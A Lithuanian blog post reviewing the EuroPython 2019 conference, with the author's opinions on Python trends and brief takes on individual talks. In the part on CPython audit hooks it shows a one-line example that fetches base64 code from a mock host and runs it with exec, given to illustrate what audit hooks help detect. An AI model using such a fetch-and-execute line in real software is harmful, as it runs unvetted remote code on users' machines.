2019 m. rugsėjo 11 d.

EuroPython 2019 apžvalga

Aš vėl buvau EuroPython konferencijoje. Šiemet ji vyko Bazelyje. Miestas iš valstybės, kuri brangi, kaip Šveicariškas laikrodis (BigMac'o indeksu Lietuvą lenkia daugiau nei du kartus). Gal dėl to pačioje konferencijoje visko gastronomijos atžvilgiu buvo su saiku. Jokių didelių furšetų ir ekologiškų limonadų iš draftinių limodanų šulinių. Pietums gavome kiaušinienės. Kitą kartą makaronų. Ir kartais, bet tik atstovėjus eilėje, pavaišindavo kava.

Kas ekonominio burbulo riebiausiame taške bujojantiems programuotojams, be visa ko įpratusiems prie sėdmaišių ir koorporatyvinių jogos treniruočių su Radistais, galėjo pasirodyti labai asketiška.

Bet aš į tą konferenciją važiuoju ne paėst, o pagert. Ne, ne. Juokaunu. Aš ten važiuoju gauti įkvėpimo; pajust kur link pučia Python (ir bendrai IT) ekosistemos vėjai; ir jeigu pasiseks išmokti kažko naujo.

Pradėsiu nuo 4 įžvalgų ir toliau pereisiu prie išklausytų pranešimų apžvalgos. Kaip visada viską iliustruos piešinukai iš mano konspektų.

(Pastaba: EuroPython dar neįkėlė visų video įrašų, tai aš negaliu čia įdėti nuorodų)


Bendros įžvalgos


Python tampa labai sudėtinga kalba


https://python.org puslapio:
Quick & Easy to Learn

Experienced programmers in any other language can pick up Python very quickly, and beginners find the clean syntax and indentation structure easy to learn
Čia net nežinau, ar šios konferencijos pastebėjimas, ar iš lėto brendusi mintis. Ar tas, kad po kelių metų pertraukos vėl nemažai laiko skiriu kitų programavimo kalbų mokymuisi.

Bet Python nėra nei lengva, nei švari, nei lengvai įsisavinama. Taip sutinku, kad parašyti:
def say_hello():
    print("Hello World")

say_hello()
yra labai lengva. Ir atrodo paprastai ir elegantiškai. Nu ir lengvai. Bet, ar kas žmogų praleistų per Python įdarbinimo techninį interviu, jeigu jis/ji mokės tik paprastus ir elegantiškus Python'o konstruktus.

Oij ne. Kalboje atsiranda vis daugiau ir daugiau naujos sintaksės, kuri dažniausiai būna skirta nišiniams naudojimo atvejams. Prieš kokius 5~7 metus aš būčiau sutikęs, kad Python yra viena tinkamiausių programavimo kalbų dėstyti mokykloje, dabar net nežinau.

Kita vertus, Python tampa viena populiariausių programavimo kalbų pasaulyje. Tai reiškiasi, kad žmonės vis dar ją sugeba išmokti.

Truputuką padailintis "Sveikas, Pasauli" pavyzdys:
import asyncio

async def say_hello(*, name: str) -> None:
    """
    >>> asyncio.run(say_hello("World"))
    Traceback (most recent call last):
        ...
    TypeError: say_hello() takes 0 positional arguments but 1 was given
    >>> asyncio.run(say_hello(name="World"))
    Hello World
    """
    print(f"Hello {name}")

asyncio.run(say_hello(name="World"))

Duomenų mokslo įsigalėjimas


Kažkada EuroPython konferencijose duomenų mokslui, kaip išmalda, būdavo duodama kažkiek laiko ir patalpų. Dabar atrodo, kad niekas nieko kito nedaro tik naudoja Python'ą duomenų mokslui (su AI, ML ir visais kitais skambiais sutrumpinimais (kitaip sakant tiesiog tiesinę regresiją praleidžia per kažkokius duomenis)).

WEB'o beveik nulis. Kompiuterinės grafiko beveik nulis. Netgi DevOps'ų visi pranešimai apie tai, kaip jie pakūrė IT fabrikėlį eilinei (tuoj, tuoj pasaulį išgelbėsiančiai) duomenų kasybos (data mining) kontorėlei.

Meilė Rust pakeitė meilę Go


Prieš 3~4 metus konferencijoje labai jautėsi meilė Go. Vis būdavo po vieną kitą pranešimą per dieną apie tai, kaip Python ir Go draugauja. Arba kodėl reikia naudoti Go, o ne Python. O ir vakare prie alaus vis atsirasdavo koks vienas kitas programuotojas, besuokiantis meilės serenadas Go programavimo kalbai.

Meilė truko tris metus ir šiemet niekam jau nebeįdomu. Dabar yra nauja Dulsinėja. Rust programavimo kalba.

O jau kokia faina. O jau kokia greita. O jau kaip rekomenduotina optimizuoti lėtus modulius su Rust, o ne su C. Vaje, vaje.

Didžiąją dalį Rust kalbos mylėtojų sudaro žmonės, neseniai atradę Rust programavimą kalbą. Juos galima palyginti su neseniai atsivertusiais į veganizmą. Nes Rust yra programavimo kalbų veganas.

Nors ne. Geresnis pavyzdys būtų žmonės, neseniai pradėjo sportuoti. Jie netveria savyje ir pasakoja visiems, kaip jie sportuoja, kaip pagerėjo jų savijauta, kaip iš vis svarbu visiems žmonėms sportuoti, ir kad nėra jau taip sunku atrasti laiko sau. Ypač mėgsta seniai sportuojanties aiškinti, kad jie netaip sportuoja, ar kad per mažai sportuoja, ar dar ką nors. Visi žino, kad jie mes tą savo sportą už maksimum vieno mėnesio. Nu bet tą mėnesį reikės atkentėti.

Nebėra Async IO


Beveik niekas nekalba apie AsyncIO. Dar praeitais metais buvo šurmulys. O šiais, pyst, ir nieko. AsyncIO yra viena iš tų nišinio panaudojimo Python sintaksės papildymų, kurie komplikuoja Python programavimo kalbos sintaksę. (Jau nekalbant apie nesuderinimą su standartine biblioteka) ir be kurių laisvai būtų galima gyventi (ką įrodo Twisted biblioteka).

Bet duomenų mokslas beveik nenaudoja AsyncIO. Ir tos srities dominavimas lemia, kad procentaliai AsyncIO nėra niekam įdomu. Nes realiai nelabai kam ir buvo. Nes realiai nelabai kam ir reikėjo.

Tai mano prognozė yra ta, kad AsyncIO kaip ir mirs. Tiksliau ji niekad pilnai nemirs. Bet merdės ir nieko ten įdomaus nevyks.

(Beje, vienam iš panašių įrašų aš esu prognozavęs, kad Django mirs...)


Išklausytos kalbos


Getting Your Data Joie De Vivre Back!

https://www.youtube.com/watch?v=uF2GhMAaQOQ

Žymi programuotoja papasakojo, ką ji įdomaus nuveikė, kai nedirbo prie rimtų projektų. Pristatė kelis savo namudinius pasižaidimo projektus. Visi jie maždaug apie meną + duomenų mokslą.

Visai gerai susiklausė. Tokia legvasvorė, bet man buvo įdomu.

https://en.wikipedia.org/wiki/The_Garden_of_Earthly_Delights

Auditing hooks and security transparency for CPython

https://www.youtube.com/watch?v=NMaWiUQitrY

Čia pasakojo apie PEP 551. Tas PEP'as yra apie saugumo žurnalo raštvedybos kilpas (audit hooks (specialiai išsidirbinėju su lietuvišku vertimu. Iš tikro tai norėčiau atrasti trumpą, bet skambų atitikmenį, bet nerandu)). Ir kaip Python'as planuoja ateityje leisti visiems norintiems pamatyti, kas vyksta viduje ganėtinai žemame lygmenyje.

Visa idėja paremta prielaida, kad nei vienos sistemos saugumo užtikrinti vis tiek nepavyks. Dėl to reikia kiek galima daugiau matyti, kas vyksta.

Ir jeigu sistemoje yra paleistas Python'o procesas, tai pamatyti tokį vat įvykį yra daug sunkiau, nei kad paskirai paleidžiamą, tarkim, `curl` procesą.

exec(
    base64.b64decode(
        urllib.request.urlopen('http://not-a-exploit.very-legit.com/py.b64')
    ).decode()
)
Šitas PEP'as leis prikabinėti kur tik nori visokių įvykių klausytojų.

Pats pranešimas yra labai techniškas. Ir, deja, ne toks įdomus, kaip pačio PEP'o skaitymas.

https://www.python.org/dev/peps/pep-0578/

Understanding how a malware works using Python

https://ep2019.europython.eu/talks/TzNDkKW-understanding-how-a-malware-works-using-python/

Pats kalbėtojas nepasirodė. Tai pranešimas buvo atšauktas. Dar spėjau po to nueiti į vidurį pranešimo apie IPython. Nu nieko įdomaus tas IPython. Nebent nežinau, kad toks yra. Tada labai įdomu (kad "kaip aš galėjau be jo gyventi").

Python for realtime audio processing in a live music context

https://www.youtube.com/watch?v=IdsrZYZ0TI0

Kažkokia grupė groja klasikiniais instrumentais ir naudoja programuojamus... Eeeeee... Hmmmmmm... Adapterius, kontrolerius, sintezatorius ar ten dar kažką koncerto metu gyvai keisti garsus. Nu ten kur koncertuose pasako "Aaaa" tada suspaudo kažką kojomis ir kažkos kompiuteriukas ritmiškai sako "Aaaa", "Aaaa", "Aaaa". Atsiprašau už nemoksliškumą, bet aš tik tiek apie muziką besigaudau.

Tai va, čia ir visa istorija. Yra kažkokia C biblioteka su Python sąsają, leidžiančia programuoti tuos kompiuteriukus. Tai jie pasirašę Python skriptų ir groja kažkokius psichodelinius klasikinės muzikos pypsėjimo blėnius.

Build your Python Extensions with Rust!

https://www.youtube.com/watch?v=FolV-xUD3Ko

Pavadinimas viską pasako. Įdomu bus tik tada, jeigu esate užsikrėtęs Rust virusu.

Writing a Python autoreloader

https://www.youtube.com/watch?v=IghyoR6ld60

Įdomus pasakojimas apie tai, kaip sunku pasirašyti automatinį bet kokios programos perkrovėją. O ypač Python'o. Nu nes labai lanksti programavavimo kalba.

Nors galiausiai Django turi greitesnį perkrovėją, bet autorius rekomenduoja visiems, kam prireiks panašaus funkcionalumą, naudoti Pylons hupper biblioteką.

https://github.com/Pylons/hupper
https://github.com/django/django/blob/master/django/utils/autoreload.py

Opt Out of Online Sexism – Open Source Activism

https://www.youtube.com/watch?v=Ov0scTjDVuQ

Labai daug optimizmo ir ambicijų turinti pranešėja su labai motyvuota komanda, stovinčia už jos, parašė naršyklės įskiepą, kuris paslepia keiksmažodžius Twitter'yje. Ta prasme:
document.body.innerHTML = document.body.innerHTML.replace("bybis", "*****");
Bet tuoj, tuoj jie išspręs blogio (pagal jų apibrėžimus) problemą internete ir tuoj internetas bus saugus visiems.

Static typing: beyond the basics of def foo(x: int) -> str:

https://ep2019.europython.eu/talks/LTm28H5-static-typing-beyond-the-basics-of-def-foox-int-str/

Nepaisant pavadinimo, čia buvo labai standartinis pranešimas apie Python'o tipų sistemą.

Why You Should Pursue Public Speaking and How to Get There

https://www.youtube.com/watch?v=a5WIMg5sunw

Pranešimas apie tai, kaip daryti pranešimus. Deja, bet geriausias patarimas būtų daryti atvirkščiai nei autorė darė savo pranešimo metu.

- Nereikia pranešimo metu paleisti 10~15 minučių ilgio video
- Nereikia kalbėti, kaip kad teletabiai savo laidoje kalbėjo kelių metų vaikams. Nebent konferencija skirta kelių metų vaikams

Lightning Talks


Vienintelė įdomi nuoroda iš visų mini pranešimų:
https://www.fuzzingbook.org/

Are women underrepresented in the High Performance Computing (HPC) community?

https://ep2019.europython.eu/talks/kaqWcyu-are-women-underrepresented-in-the-high-performance-computing-hpc-community/

Keista, bet buvo įdomus ir logiškas pranešimas. Be įprastinio "berniukai šlykštynės, o mergaitės visos nuostabių nuostabiausios" neratyvo.

Tiesa, iš publikos klausimų buvo galima nuspėti, kitaip nei pranešėja, publika yra daug rimčiau nusiteikusi ir nori raganių medžioklės.

Introduction to low-level profiling and tracing

https://ep2019.europython.eu/talks/es2pZ6C-introduction-to-low-level-profiling-and-tracing/

Pranešimas apie žemo lygmens sekimą ir profiliavimą Linux'e, truputį užkabinant Python'ą.

Tikrai techniškai sudėtingas pranešimas. Bet geras. Daug ko nesupratau. Bet geras. Reiks dar kartą peržiūrėti, kai video įkels.

How to write a JIT compiler in 30 minutes

https://ep2019.europython.eu/talks/S4nvhVb-how-to-write-a-jit-compiler-in-30-minutes/

Gyvo programavimo sesija apie tai, kaip pasirašyti žaislinį JIT kompiliatorių. Prenešimas naudingas, jeigu domina JIT pagrindų pagrindai.

Opening PyPy's magic black box

https://ep2019.europython.eu/talks/898p5T5-opening-pypys-magic-black-box/

Nelabai atsimenu, ką konkrečiai pasakojo. Tik atsimenu, kad minėjo, jog didžioji dalis energijos yra skiriama iš 2 į 3 migracijai ir async.io palaikymui. Kas liūdnoka, nes PyPy visada žaidžia besivejančio žaidimą. Ir dėl to automatiškai niekad nebus CPython pakaitalas.

GraphQL in Python

https://ep2019.europython.eu/talks/tgpqoNo-graphql-in-python/

Nieko įpatingo. Pristatė GraphQL ir kažkokią savo biblioteką.

Gamifying the study of algorithms

https://ep2019.europython.eu/talks/ydmw6o9-gamifying-the-study-of-algorithms/

Nesąmonė. Pranešimas apie tai, kaip save prisiversti mokintis algoritmų. Atsakymas: ogi skirti sau išgalvotų taškų. Nu tiesiog. Be jokio logikos.

The Dangers of Outsourcing Software Development

https://ep2019.europython.eu/talks/Pd2BspX-the-dangers-of-outsourcing-software-development/

Pranešimas ne iš techninės pusės, bet iš biznio pusės. Visai nieko.

Deploy Python to the cloud faster with Azure Serverless

https://ep2019.europython.eu/talks/xQo7aib-deploy-python-to-the-cloud-faster-with-azure-serverless/

Microsoft'as pristatė savo debesis.

AI in Contemporary Art

https://ep2019.europython.eu/talks/3yvWcoS-ai-in-contemporary-art/

Visiems kitiems, su kuriais kalbėjau, labai patiko šitas pranešimas. Jokio techniškumo. Tiesiog menas sukurtas naudojant AI. Modernus menas. Gal dėl to manęs ir neužkabino. Man nelabai svarbu, kaip kas buvo sukurta. Man svarbu ar gražu, ar ne. Nelabai ten man gražu buvo.

Python Performance: Past, Present and Future

https://ep2019.europython.eu/talks/HaEW7Ns-python-performance-past-present-and-future/

Šiaip pagal statusą pagrindinis dienos pranešimas, bet nu nieko neatsimenu. Turbūt nieko gero nepapasakojo.

The soul of the beast

https://ep2019.europython.eu/talks/ZJ7mNEK-the-soul-of-the-beast/

Geriausias visos konferencijos pranešimas. Apie Python sintaksę ir gramatiką. Tikrai rekomenduoju. Gaila, kad dar nėra video.

Software patterns for productive teams

https://ep2019.europython.eu/talks/JLPhtTB-software-patterns-for-productive-teams/

Apie komandų valdymą. Neįdomu man buvo.

Hack The CPython

https://ep2019.europython.eu/talks/C3We3Fp-hack-the-cpython/

Pranešimas turėjo būti labai įdomus. Bet buvo visai nesuprantamas. Pranešėjas labai jaudinosi ir nerišliai bet greitai burbėjo.

How to read (code)

https://ep2019.europython.eu/talks/3h8dSfy-how-to-read-code/

Daugiau ne apie skaitymą, o apie tai, kaip izoliuotai paleidinėti tik dalį kodo ir taip išsiaiškinti kaip jis veikia.

Google Cloud for Pythonistas

https://ep2019.europython.eu/talks/ZSVqSGX-google-cloud-for-pythonistas/

Toks pats pranešimas, kaip ir Microsoft'o pranešimas. Žodžiu, yra debesų.

The Story of Features Coming in Python 3.8 and Beyond

https://ep2019.europython.eu/talks/xkHBEaF-the-story-of-features-coming-in-python-38-and-beyond/

Truputį plačiau papasakojo apie 3.8 atnaujinimus. Kai kurie labai keisti ir anti-elegantiški.